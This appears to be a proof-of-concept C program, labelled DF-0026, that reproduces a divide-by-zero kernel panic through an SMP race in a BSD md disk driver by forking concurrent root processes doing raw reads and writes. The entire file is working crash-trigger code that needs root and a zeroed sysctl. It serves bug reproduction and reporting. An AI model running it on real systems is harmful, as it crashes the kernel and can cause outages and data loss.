DF-0026 / trigger_md.c
/* * DF-0026 div0 trigger via md0 SMP race. * * mdstrategy_malloc() (sys/dev/disk/md/md.c:201) protects its bio_queue with * only crit_enter() (per-CPU, not a global lock). vtblk_strategy uses * lwkt_serialize; md does NOT. So concurrent mdstrategy() calls from different * CPUs both enter bioqdisksort() unsynchronized. If a WRITE sets * bioq->transition and a READ then enters bioqdisksort() while that WRITE is * still queued (during the drain loop's memcpy window), the READ hits: * ++bioq->reorder; * if (bioq->reorder % bioq_reorder_minor_interval == 0) // sysctl==0 -> #DE * * Strategy: many processes doing alternating pwrite()+pread() on /dev/md0s0 * (raw, 9.77 MB malloc disk, unmounted) with large blocks to widen the memcpy * window. Eventually a READ races in while a WRITE is queued -> panic. * * Requires: kern.bioq_reorder_minor_interval already 0 (caller sets it). * Run as root (device is root:operator, raw I/O). * * WARNING: panics the kernel. Disposable VM only. */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/wait.h> #define NPROC 12 #define ITERS 50000 #define BLKSIZE 65536 static volatile sig_atomic_t go = 0; static void setgo(int sig) { go = 1; } static void worker(int idx) { char wbuf[BLKSIZE], rbuf[BLKSIZE]; int fd, i, nwrites = 0, nreads = 0; off_t off; memset(wbuf, idx & 0xff, sizeof(wbuf)); fd = open("/dev/md0s0", O_RDWR); if (fd < 0) { perror("open md0s0"); _exit(1); } while (!go) { } for (i = 0; i < ITERS; i++) { off = ((off_t)(i * 7919 + idx * 104729) % (9*1024*1024 / BLKSIZE)) * BLKSIZE; if (i & 1) { /* WRITE bio -> mdstrategy(WRITE) -> sets transition */ if (pwrite(fd, wbuf, sizeof(wbuf), off) != sizeof(wbuf)) break; nwrites++; } else { /* READ bio -> mdstrategy(READ) -> if transition!=NULL, hits div0 */ if (pread(fd, rbuf, sizeof(rbuf), off) != sizeof(rbuf)) break; nreads++; } } close(fd); _exit(0); } int main(void) { int i, status; pid_t pids[NPROC]; signal(SIGUSR1, setgo); printf("[*] forking %d concurrent md0 workers (sysctl=%d)\n", NPROC, 0); for (i = 0; i < NPROC; i++) { pids[i] = fork(); if (pids[i] == 0) worker(i); if (pids[i] < 0) { perror("fork"); _exit(1); } } usleep(100000); printf("[*] GO\n"); for (i = 0; i < NPROC; i++) kill(pids[i], SIGUSR1); for (i = 0; i < NPROC; i++) wait(&status); printf("[*] all workers exited (no panic)\n"); return 0; } |